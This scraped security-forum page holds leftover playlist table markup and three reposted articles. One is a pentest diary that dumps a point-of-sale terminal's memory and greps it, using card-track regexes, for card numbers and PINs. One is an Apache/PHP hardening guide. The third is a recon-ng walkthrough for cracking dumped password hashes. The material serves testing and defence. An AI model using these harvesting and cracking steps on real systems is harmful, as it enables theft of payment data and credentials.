[TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 5:01 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 5:01 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 5:01 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 5:01 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:58 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 5:01 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 5:01 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:19 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:16 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:43 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 3:55 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:08 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:29 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 3:50 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:01 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:56 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:56 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:37 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:52 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:32 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 5:01 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:54 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:08 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:55 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:46 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:13 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:47 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:07 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:55 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:35 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:42 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:48 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:42 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:50 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:44 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:51 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 5:00 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:59 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 5:00 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:56 [/TD] [/TR] [TR=class: pl-video yt-uix-tile] [TD=class: pl-video-handle][/TD] [TD=class: pl-video-index][/TD] [TD=class: pl-video-thumbnail] [/TD] [TD=class: pl-video-title] [/TD] [TD=class: pl-video-badges][/TD] [TD=class: pl-video-owner]webpwnized[/TD] [TD=class: pl-video-added-by][/TD] [TD=class: pl-video-time] 4:59 [/TD] [/TR] [/TABLE] PLAYLIST:
  20. Trolling Memory for Credit Cards in POS / PCI Environments In a recent penetration test, I was able to parlay a network oversight into access to a point of sale terminal. Given the discussions these days, the next step for me was an obvious one - memory analysis. My first step was to drive to the store I had compromised and purchase an item. I'm not a memory analysis guru, but the memory capture and analysis was surprisingly easy. First, dump memory: dumpit Yup, it's that simple, I had the dumpit executable locally by that point (more info here https://isc.sans.edu/diary/Acquiring+Memory+Images+with+Dumpit/17216) or, if you don't have keyboard access (dumpit requires a physical "enter" key, I/O redirection won't work for this): win32dd /f memdump.img (from the SANS Forensics Cheat Sheet at https://blogs.sans.org/computer-forensics/files/2012/04/Memory-Forensics-Cheat-Sheet-v1_2.pdf ) Next, I'll dig for my credit card number specifically: strings memdump.img | grep [mycardnumbergoeshere] | wc -l 171 Yup, that's 171 occurences in memory, unencrypted. So far, we're still PCI complaint - PCI 2.0 doesn't mention cardholder data in memory, and 3.0 only mentions it in passing. The PCI standard mainly cares about data at rest - which to most auditors means "on disk or in database", or data in transit - which means on the wire, capturable by tcpdump or wireshark. Anything in memory, no matter how much of a target in today's malware landscape, is not an impact on PCI compliance. The search above was done in windows, using strings from SysInternals - by default this detects strings in both ASCII and Unicode. If I repeat this in linux (which by default is ASCII only), the results change: strings memdump.img | grep [mycardnumbergoeshere] | wc -l 32 To get the rest of the occurences, I also need to search for the Unicode representations, which "strings" calls out as "little-endian" numbers: strings -el memdump.img | grep [mycardnumbergoeshere] | wc -l 139 Which gives me the same total of 171. Back over to windows, let's dig a little deeper - how about my CC number and my name tied together? strings memdump.img | grep [myccnumbergoeshere] | grep -i vandenbrink | wc -l 1 or my CC number plus my PIN (we're CHIP+PIN in Canada) strings memdump.img | grep [mycardnumbergoeshere] | grep [myPINnumber] 12 Why exactly the POS needs my PIN is beyond me! Next, let's search this image for a number of *other* credit cards - rather than dig by number, I'll search for issuer name so there's no mistake. These searches are all using the Sysinternals "strings" since the defaults for that command lend itself better to our search: CAPITAL ONE 85 VISA 565 MASTERCARD 1335 AMERICAN EXPRESS 20 and for kicks, I also searched for debit card prefixes (I only search for a couple with longer IIN numbers): Bank of Montreal 500766 245 TD CAnada Trust 589297 165 Looking for my number + my CC issuer in the same line gives me: strings memdump.img | grep [myccnumbergoeshere] | grep [MASTERCARD] | wc -l gives me a result of "5" So, assuming that this holds true for others (it might not, even though the patterns are all divisible by 5), this POS terminal has hundreds, but more likely thousands of valid numbers in memory, along with names, PIN numbers and other informaiton Finally, looking for a full magstripe in memory: The search for a full stripe: grep -aoE "(((%?[bb]?)[0-9]{13,19}\^[A-Za-z\s]{0,26}\/[A-Za-z\s]{0,26}\^(1[2-9]|2[0-9])(0[1-9]|1[0-2])[0-9\s]{3,50}\?)[;\s]{1,3}([0-9]{13,19}=(1[2-9]|2[0-9])(0[1-9]|1[0-2])[0-9]{3,50}\?))" memdump.img | wc -l 0 where: -a = Processes a binary file as text -o = Shows only the matched text -E = Treats the pattern as an extended regular expression or using this regex to find Track strings only: ((%?[bb]?)[0-9]{13,19}\^[A-Za-z\s]{0,26}\/[A-Za-z\s]{0,26}\^(1[2-9]|2[0-9])(0[1-9]|1[0-2])[0-9\s]{3,50}\?) gives us 0 results. or this regex to find Track 2 strings only: ([0-9]{13,19}=(1[2-9]|2[0-9])(0[1-9]|1[0-2])[0-9]{3,50}\?) Gives us 162 (I'm not sure how much I trust this number) Anyway, what this tells me is that this store isn't seeing very many folks swipe their cards, it's all CHIP+PIN (which you'd expect) (Thanks to the folks at bromium for the original regular expressions and breakdown: Understanding malware targeting Point Of Sale Systems | Bromium Labs) Getting system uptime (from the system itself) wraps up this simple analysis - the point of this being "how long does it take to collect this much info?" net statistics server | find "since"" shows us that we had been up for just under 4 days. Other ways to find uptime? from the CLI: systeminfo " find "Boot Time" or, in powershell: PS C:\> Get-WmiObject win32_operatingsystem | select csname, @{LABEL='LastBootUpTime';EXPRESSION={$_.ConverttoDateTime($_.lastbootuptime)}} or, in wmic: wmic get os last bootuptime or, if you have sysinternals available, you can just run "uptime" What does this mean for folks concerned with PCI compliance? Today, not so much. Lots of environments are still operating under PCI 2.0. PCI 3.0 simply calls for education on the topic of good coding practices to combat memory scraping. Requirement 6.5 phrases this as "Train developers in secure coding techniques, including how to avoid common coding vulnerabilities, and understanding how sensitive data is handled in memory. Develop applications based on secure coding guidelines." Personally (and this is just my opinion), I would expect/hope that the next version of PCI will call out encryption of card and personal information in memory specifically as a requirement. If things play out that way, What this will mean to the industry is that either: a/ folks will need to move to card readers that encrypt before the information is on the POS terminal or b/ if they are using this info to collect sales / demographic information, they might instead tokenize the CC data for the database, and scrub it from memory immediately after. All I can say to that approach is "good luck". Memory management is usually abstracted from the programming language, so I'm not sure how successful you'd be in trying to scrub artifacts of this type from memory. =============== Rob VandenBrink, Metafore Sursa: https://isc.sans.edu/forums/diary//18579
  21. [h=1]OWASP A6 – Security Misconfiguration with PHP[/h] By codewatch On November 20, 2011 · 1 Comment This will be another non-development related post. I am going to cover security configuration of the operating system, web server, and PHP environment for your web applications. It doesn’t matter how secure your application is if the OS, web server, or PHP configuration is insecure. I am not going to cover full hardening of your servers, but rather some general guidelines along with some specific configuration settings for PHP and Apache. General guidance on server deployment for your application environment: Apply all security related patches to the operating system and services in use. Make sure that Apache and PHP are fully patched. Apply a security best practice standard, deviating only when necessary. CIS is a good choice here because of their depth of configuration standards. Use security best practice standards for the OS as well as Apache. Change default passwords for all accounts. Use a long and strong password for service and administrative accounts. Disable or remove all unnecessary protocols, accounts, scripts, processes, and services. Perform vulnerability scans, web application scans, and network and application level penetration tests against your systems on a regular basis. Configure servers to log all security related events and to forward those events to a centralized security information management system. Configure applications to only display generic error messages. Perform administrative actions using unprivileged accounts. Use the “Run As” feature of Windows or the sudo feature of Linux to perform privileged operations on servers. The above suggestions will help ensure that your system is patched and the OS is configured securely. Apache must be configured securely as well to limit the servers exposure to risk. General Apache recommendations: Compile Apache with the minimum amount of modules and features required to run your application(s). I suggest the following directives be run as part of the configuration at a minimum: –enable-headers, –enable-expires, –enable-ssl, –enable-rewrite, –disable-status, –disable-asis, –disable-autoindex, –disable-userdir. The enable settings ensure that you can configure the server to timeout sessions and send other security related responses, support connections over SSL, and rewrite requests to prevent specific HTTP methods. The options for disabling features prevents information disclosure issues within the Apache web server. Remove all default scripts from the /cgi-bin directory. Create an apache user and group with minimal permissions. Run apache as this user and change ownership of all files served by Apache to this user and group with minimal permissions (in Linux: chown -R apache.apache /path/to/web/directory, chmod -R 644 /path/to/web/directory, then chmod 744 for all directories under the web directory). Consider installing and configuring ModSecurity. Specific Apache web server configuration suggestions follow. Configure httpd.conf so that the server doesn’t report full version and module information: ServerTokens Prod ServerSignature Off Configure the server to use an unprivileged user account and group: User apache Group apache Load the least amount of modules possible for your environment, our server is set to: LoadModule php5_module /usr/modules/libphp5.so LoadModule security2_module /usr/modules/mod_security2.so LoadModule unique_id_module /usr/modules/mod_unique_id.so Disable the use of unnecessary and potentially dangerous HTTP/WebDAV methods: <Directory /> <Limit OPTIONS PUT CONNECT PATCH PROPFIND PROPPATCH MKCOL COPY MOVE LOCK UNLOCK DELETE TRACK> Order deny,allow Deny from all </Limit> Options None AllowOverride None Order deny,allow Deny from all </Directory> <Directory "/var/www/htdocs"> <Limit OPTIONS PUT CONNECT PATCH PROPFIND PROPPATCH MKCOL COPY MOVE LOCK UNLOCK DELETE TRACK> Order deny,allow Deny from all </Limit> Options None AllowOverride None Order allow,deny Allow from all <Directory> Disable support for all but specifically allowed file extensions: // Match all files and deny <FilesMatch "^.*\.[a-zA-Z0-9]+$"> Order deny,allow Deny from all </FilesMatch> // Allow specific file extensions <FilesMatch "^.*\.(ico|css|tpl|wsdl|html|htm|JS|js|pdf|doc|xml|gif|jpg|jpe?g|png|php)$"> Order deny,allow Allow from all </FilesMatch> Log errors: ErrorLog "/var/log/apache/error_log" LogLevel notice LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined LogFormat "%h %l %u %t \"%r\" %>s %b" combined CustomLog "/var/log/apache/access_log" combined Disable access to the cgi-bin directory: <Directory "/usr/local/apache/cgi-bin"> AllowOverride None Options None Order deny,allow Deny from all </Directory> Block the TRACE and TRACK HTTP Methods (must be added to each virtual host): RewriteEngine On RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK) RewriteRule .* - [F] Block anything other than HTTP 1.1 traffic: RewriteCond %{THE_REQUEST} !HTTP/1\.1$ RewriteRule .* - [F] Applications that require authentication should require SSL for the entire session. The following configuration directive will redirect requests to http://myapp.mysite.com to HTTPS: RewriteCond %{HTTPS} off RewriteRule (myapp.mysite.com.*) https://%{HTTP_HOST}%{REQUEST_URI} In your ssl configuration file, require SSLv3 or TLS, and only strong encryption protocols: SSLProtocol -ALL +SSLv3 +TLSv1 SSLCipherSuite HIGH:!ADH If you cannot use the –disable-userdir and –disable-status options during Apache compilation, then add the following directives to your Apache configuration to prevent unnecessary information disclosure related to these modules: UserDir Disabled ExtendedStatus Off If you cannot use the –disable-autoindex option during Apache compilation, then add the following directive to each <Directory> setting in your Apache configuration to prevent auto indexing of directories and leakage of directory contents: Options -Indexes Finally, PHP must be configured securely to ensure the protection of your application and company/customer data. General PHP recommendations: Compile PHP with the minimum amount of modules and features required to run your application(s). I suggest the following directives be run as part of the configuration at a minimum: –with-openssl and –with-mcrypt. This will ensure that you can leverage encryption routines within your application to protect data and passwords. Protect the PHP session directory. Place session data in a temporary directory and then apply the most restrictive permissions possible to the folder. The folder can be owned by the root user and the apache group. Place third-party PHP libraries used within your applications in a directory outside of the main web directory (/htdocs) If possible, apply the PHP Suhosin patch to PHP to provide additional security to the scripting language core. Specific PHP configuration suggestions follow. Configure php.ini to prevent Denial of Service (DoS) conditions (adjust these settings based on the needs of your application): // Maximum time a script can execute max_execution_time = 30 // Maximum time a script can spend parsing request data max_input_time = 7200 // Max memory a script can consume memory_limit = 128M // Limit the amount of data that can be POSTed to the // server. This affects file uploads as well. post_max_size = 4M // Limit the maximum size of a file uploaded to the server. upload_max_filesize = 4M // Limit the number of files that can be uploaded at a // single time. max_file_uploads = 10 Enable logging but disable displaying logs to application users: error_reporting = E_ALL & ~E_DEPRECATED display_errors = Off display_startup_errors = Off log_errors = On log_errors_max_len = 1024 // Do not ignore errors, log them all ignore_repeated_errors = Off ignore_repeated_source = Off Set specific mime types and content types to help prevent encoding, decoding, and other canonicalization issues that can result in successful XSS attacks: default_mimetype = "text/html" default_charset = "ISO-8859-1" Place third-party PHP applications in a path outside of the /htdocs directory: include_path = ".:/usr/local/apache/phpincludes" Implement strong protection of PHP sessions: // Save sessions as files in a specific directory session.save_handler = files session.save_path = "/tmp/phpsessions" // Require the use of cookies to prevent session // ID's from being included in URL's session.use_cookies = 1 session.use_only_cookies = 1 session.use_trans_sid = 0 // Set the "secure" and "httponly" flags on the // cookie. This will prevent the cookie from // being sent over an HTTP connection or being // accessed by JavaScript, helping prevent // session hijacking attacks via XSS. session.cookie_secure = true session.cookie_httponly = true // Set cookie path and domain information to // limit where the cookie can be used, thus // protecting session data. session.cookie_path = /codewatch/ session.cookie_domain = www.codewatch.org // Set the cookie to delete once the browser // is closed. session.cookie_lifetime = 0 // Perform garbage collection on session data // after 15 minutes of inactivity. session.gc_maxlifetime = 900 // Use a secure source for generating random // session ID's (set to a non-zero value // on Windows systems. session.entropy_file = /dev/urandom // Use a strong hashing algorithm to create // the session ID and use as many characters // as possible to reduce the likeliness that // the session ID can be guessed or hijacked. session.hash_function = 'sha512' session.hash_bits_per_character = 6 // Send the nocache directive in HTTP(S) // responses to ensure the page can't be // cached. In addition, set the time-to- // live for the page to a low value. session.cache_limiter = nocache session.cache_expire = 15 Disable the ability for PHP to interpret a URL as a file to help prevent some types of remote file include attacks: allow_url_fopen = Off allow_url_include = Off Disable registration of globals, long arrays, and the argc/argv variables (more information and the reason behind this suggestion can be found here, here, and here).: register_globals = Off register_long_arrays = Off register_argc_argv = Off Following these guidelines and configuration settings should go a long way towards ensuring the security of your web and application servers, company and customer data, and the integrity of your systems. Sursa: https://www.codewatch.org/blog/?p=190
  22. [h=3]"Cracking" Hashes with recon-ng and bozocrack[/h]The other day I came across a database dump that had user login names and hashed passwords. I had over 1,000 of them and they were SHA256 hashes. I remembered that there was some tool that could perform Google look-ups for hashes and asked the Twitter-verse for help. Wouldn't you know that the first person to reply was Tim Tomes who said that the bozocrack module inside recon-ng could do exactly what I wanted. Excellent! This blog post is a walk-through of that process. [h=3]Pulling our Hashes from a File[/h] First thing we need to do is get the hashes. Let's say I have all my hashes in a files called, oh I don't know "hashes" and I'll put them on the Desktop of my Kali linux system. So the file will be located at /root/Desktop/hashes. Launch recon-ng and create a workspace named "hashes" (or whatever you want) for this work. Workspaces allow us to logically partition our work so that if we have several projects or customers that we are doing work for simultaneously, their data doesn't get co -mingled. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]recon-ng launched from inside a terminal[/TD] [/TR] [/TABLE] Now let's tell recon-ng to load the bozocrack module. Since it is the only module with "bozo" in it, we can use a shortcut and just type load bozo as shown below. I also used the show info command to get information about the module I just loaded. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Loading the bozocrack module and showing the info[/TD] [/TR] [/TABLE] The important part of this step is to see all of the options that you can configure. In this case the SOURCE variable is the only option to modify. By default, the module pulls information from the credentials table inside the recon-ng database. But we can tell it to use a different location as the source of our hashes. Let's do that first. We know from above that our file with the hashes is at /root/Desktop/hashes. We change where the module looks for the source using the set command: set SOURCE /root/Desktop/hashes (as shown below). [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]All set to run the bozocrack module using the hashes file[/TD] [/TR] [/TABLE] At this point, we just type run and grab a $cold_beverage. The module will make Google queries for each hash in the file you specified and it'll display the results on the screen. Below is what mine looked like once it finished. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]bozocrack module output[/TD] [/TR] [/TABLE] You can see that the hashes it found a match for start with a green "splat"/asterix [*]. Also note that there were three types of hashes in my file: MD5, SHA1, and SHA256. Pretty cool that the module just took them all and didn't make me separate them into separate files. +1 for recon-ng So that is the easy way for doing the lookups. You can easily scrape the terminal window screen and copy all the found hashes into a text editor for post-processing. That works....but I'm a lazy guy. I like to have my tools do the work. So, let's do it another way too. [h=3]Using the Internal DB[/h] As I mentioned above, recon-ng maintains a database for its findings. To see all the tables and such, type show schema and they will appear. We are going to be storing our password hashes in the hash column of the credentials table. First thing I do is to import all my hashes into the DB using the import/csv_file module. Just type use import/csv and hit enter (since the csv_file is the only file with CSV in it inside the import path, you don't have to complete the whole name. Like I said, I'm lazy!). Again I like doing a show info to see what options there are. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Import/csv_file module[/TD] 